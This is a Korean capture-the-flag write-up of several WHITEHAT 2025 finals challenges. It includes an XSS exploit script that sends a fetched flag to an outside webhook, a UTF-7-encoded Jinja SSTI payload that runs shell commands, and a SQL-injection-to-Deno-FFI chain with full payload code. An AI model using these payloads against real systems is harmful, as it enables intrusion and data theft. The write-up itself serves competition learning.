Introduction
2025 WHITEHAT 본선에 참가해 총 6문제를 해결했고(포함 안된 한문제는 테스트용 문제), 최종 성적은 본선 3위를 기록했다.
상은 없긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다(6솔, 2,068점).
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?
1. AI
1.1 Overview
이 문제는 제공된 OCR 모델을 속여 특정 문자열 givemeflag을 출력하게 만드는 Adversarial Attack 문제이다. 서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.
- Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
- Given Files:
OCR.h5(Keras OCR Model)main.py(Server preprocessing & inference logic)
핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.
1.2 Analysis
main.py를 보면 서버는 다음 순서로 이미지를 처리한다.
- Base64 decode
- Convert to grayscale (L mode)
- Resize to 32×32
- Normalize with
/255.0 - Softmax → Argmax → Character mapping
즉, 사람이 보기에 정상적인 이미지일 필요가 없고, 모델이 속기 쉬운 패턴을 만드는 것이 목표였다.
1.3 Methodology
- 문자 하나당 이미지 한 장 → 총 10장
- FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
- 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행
Process 요약:
- 랜덤 노이즈로 이미지 초기화
- Loss를 타깃 문자 기준으로 최소화
- 매 스텝마다 clipping(0~1)
- 일정 기준 충족 시 조기 종료
1.4 Implementation
핵심 구현 방식은 다음과 같다.
- 문자 → index 변환
- 랜덤 텐서를 loss 방향으로 최적화
- logit이 충분히 높아지면 이미지 픽스
- 최종적으로 PIL로 32×32 Grayscale PNG 저장
Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.
1.5 Verification
OCR.h5 모델에 직접 돌려본 결과:
Target: givemeflag
Predicted: givemeflag
SUCCESS!
모델이 의도대로 문자열을 정확히 인식했다.
1.6 Submission & Flag
Base64 인코딩 후 /check로 제출한 결과:
- alphabets: [“g”,“i”,“v”,“e”,“m”,“e”,“f”,“l”,“a”,“g”]
- flag:
whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8} - text: “givemeflag”
1.7 Discussion
예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
문항 풀이 과정 반절은 잼민이가 도와줬다.
2. Chat
2.1 Overview
이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 /flag/에서 플래그를 획득하는 문제이다.
Server constraints:
- 요청 IP는 반드시 127.0.0.1
username쿠키가 반드시admin
2.2 Analysis
애플리케이션의 핵심 취약점은 Inline HTML Preview + Playwright Bot 조합이다.
- 메시지 안에
<div>,<script>등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨 - 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
- 봇은 기본적으로
username=bot쿠키를 가짐 - 즉, 공격자가 보낸 JS가 서버 로컬(127.0.0.1) 환경에서 실행됨
→ 사실상 SSRF + XSS의 콜라보
2.3 Exploit
공격 목표는:
- 봇의 쿠키를
username=admin으로 변조 /flag/요청- 응답 플래그를 외부 Webhook으로 유출
Flow:
- 악성 스크립트 포함된 HTML 메시지 전송
- 봇이 Preview 렌더링 페이지 접속
- JS 실행 → 쿠키 변조
- JS 실행 →
/flag/GET - 플래그 Webhook 유출
2.4 Implementation
Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.
import requests
import json
import time
URL = "https://asdf"
WEBHOOK_URL = "https://webhook.site/asdf"
s = requests.Session()
s.verify = False
def register_and_login(username, password):
# 1. 회원가입
r = s.get(f"{URL}/register/")
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"username": username,
"password1": password,
"password2": password
}
headers = {"Referer": f"{URL}/register/"}
s.post(f"{URL}/register/", data=data, headers=headers)
# 2. 로그인
r = s.get(f"{URL}/login/")
if "logout" in r.text:
return True
return False
def send_payload():
# XSS Payload
# 쿠키 변조: username=admin
# 플래그 요청 및 유출
payload = f"""
<div>
<script>
async function run() {{
try {{
// 쿠키 변조
document.cookie = "username=admin; path=/; secure; samesite=lax";
// 플래그 요청
let flagRes = await fetch('/flag/');
let flag = await flagRes.text();
// 외부로 유출
fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
}} catch (e) {{
fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
}}
}}
run();
</script>
</div>
"""
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"message": payload
}
headers = {
"Referer": f"{URL}/",
"X-CSRFToken": csrf_token
}
print("Sending payload...")
s.post(f"{URL}/api/send/", data=data, headers=headers)
if __name__ == "__main__":
import uuid
username = f"attacker_{uuid.uuid4().hex[:8]}"
password = "password123"
if register_and_login(username, password):
send_payload()
print("flag!")
2.5 Discussion
솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니…
3. Scenario 1-1
3.1 Overview
전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
SSTI 취약점으로 flag를 획득하면 된다.
3.2 Analysis
1) Server-Side Template Injection (SSTI)
파일: app/core/pdf_renderer.py
def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
try:
template = Template(markdown_content)
rendered_content = template.render()
사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.
2) Broken Security Filter
파일: app/core/security.py
def safe_markdown(content: str) -> bytes:
return content.replace("{{", "").replace("}}", "").encode("utf-8")
단순 치환이라 인코딩 우회에 매우 취약하다.
3) UTF-7 Decoding Bug (핵심)
파일: app/api/documents.py
safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")
UTF-8로 인코딩한 후 UTF-7로 디코딩 → {{ }} 패턴 복원됨.
UTF-7 매핑:
+AHsAew- → {{
+AH0AfQ- → }}
필터가 무력화되며 SSTI가 그대로 살아난다.
3.3 Exploit
Step 1 — UTF-7 Payload Construction
Payload:
+AHsAew-7*7+AH0AfQ-
서버 처리 흐름:
UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력
Step 2 — Local PoC
로컬에서 Jinja Template으로 테스트해 정상적으로 {{7*7}}가 복구되고 실행됨을 확인했다.
Step 3 — RCE Payload (UTF-7 Encoded)
원본 SSTI:
{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}
UTF-7 변환 후 최종 payload:
+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-
Step 4 — Exploit Execution
/api/documents로 문서 생성- 렌더링 상태가
completed될 때까지 대기 /api/documents/<id>/preview로 PDF 다운로드
Step 5 — Extract Flag from PDF
whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}
PDF 내부 텍스트에서 flag가 정상 추출되었다.
3.4 References
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- https://en.wikipedia.org/wiki/UTF-7
- https://jinja.palletsprojects.com/en/latest/
4. Scenario 1-2
이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.
5. Scenario 1-3
그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움…
6. Lemo
6.1 Overview
Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다. SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)
6.2 Analysis
1) SQL Injection
server/src/db.ts의 createUser 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.
export function createUser(username: string, password: string, role: Role = Role.USER) {
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
return result;
}
이를 통해 일반적인 sqli와 deno의 취약점인 ATTACH DATABASE 취약점을 통해 어드민 계정을 생성하고 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
CVE-2025-48935
2) IP Validation Logic (Nginx & Middleware)
서버는 routes/api/admin/save.ts 접근 시 IP가 127.0.0.1인지 검사한다.
외부에서 접근 시 Nginx가 purify.js를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.
nginx/js/purify.js:
function fix(r) {
var out = [];
var args = r.args;
// ... 기존 ip 파라미터 제거 로직 ...
var real_ip = r.variables.remote_addr || "";
out.push('ip=' + real_ip); // 실제 IP를 쿼리 스트링 마지막에 추가
return out.join('&');
}
하지만 백엔드(routes/_middleware.ts)에서는 npm:qs를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.
routes/_middleware.ts:
import qs from "npm:qs";
async function parseQuery(req: Request) {
// ...
const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
return parsed;
}
// ...
if (ctx.state.query.ip) {
ctx.state.ip = ctx.state.query.ip;
} else {
ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
}
qs 라이브러리는 기본적으로 1000개의 파라미터만 파싱하는 제한(parameterLimit)이 있다.
따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 ip=REAL_IP는 파싱 범위 밖으로 밀려나 무시된다.
결과적으로 ctx.state.query.ip는 undefined가 되고, 서버는 이를 로컬 접속(127.0.0.1)으로 오인하게 된다.
3) NODE_ENV Validation
save.ts는 NODE_ENV가 “development”일 때만 동작한다.
기본값은 “production”이지만, 앞서 언급한 SQL Injection을 통해 .env 파일을 생성하고 NODE_ENV=development 내용을 주입하여 이를 우회할 수 있다.
4) Deno FFI
deno.json 설정에서 --allow-ffi 옵션이 활성화되어 있다.
이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. libc와 같은 네이티브 라이브러리를 로드하여 fopen, fgetc 등의 함수를 직접 호출하면 --allow-read 제한과 상관없이 모든 파일을 읽을 수 있다.
6.3 Exploit Flow
- NODE_ENV Injection: SQL Injection으로
.env파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어NODE_ENV=development를 유효한 라인으로 만든다. - Server Restart:
routes/디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된.env가 로드된다. - IP Bypass: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는
ip=REAL_IP가 파싱되지 않도록 한다. - RCE:
save.ts를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.
6.4 Implementation
FFI Payload (TypeScript):
Deno의 권한을 우회하여 /flag를 읽는 코드이다.
import { Handlers } from "$fresh/server.ts";
export const handler: Handlers = {
async GET(req) {
try {
const lib = Deno.dlopen("libc.so.6", {
fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
fgetc: { parameters: ["pointer"], result: "i32" },
fclose: { parameters: ["pointer"], result: "i32" },
});
const path = new TextEncoder().encode("/flag\0");
const mode = new TextEncoder().encode("r\0");
const fp = lib.symbols.fopen(path, mode);
if (fp === null || fp.value === 0n) return new Response("Failed");
let content = "";
while (true) {
const c = lib.symbols.fgetc(fp);
if (c === -1) break;
content += String.fromCharCode(c);
}
lib.symbols.fclose(fp);
return new Response(content);
} catch (e) {
return new Response(e.toString());
}
}
};
Exploit Script (Python):
import requests
import time
URL = "http://asdf"
def sql_exec(query):
# 회원가입 로직을 통한 SQL Injection 수행
pass
# 1. .env 생성 (NODE_ENV=development)
print("[*] Creating .env...")
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
sql_exec(env_payload)
# 2. 서버 재시작 트리거
print("[*] Triggering restart...")
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
sql_exec(restart_payload)
time.sleep(5) # 재시작 대기
# 3. QS Limit Bypass & Payload Upload
print("[*] Uploading FFI payload...")
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
target_url = f"{URL}/api/admin/save?{dummy_params}"
ffi_code = open("payload.ts", "r").read()
data = {
"filepath": "api/exploit.ts",
"content": ffi_code
}
# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
requests.post(target_url, data=data)
# 4. Flag 획득
print("[*] Getting flag...")
res = requests.get(f"{URL}/api/exploit")
print(f"Flag: {res.text}")
6.5 Flag
whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}
6.6 Discussion
단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다. 특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.
끝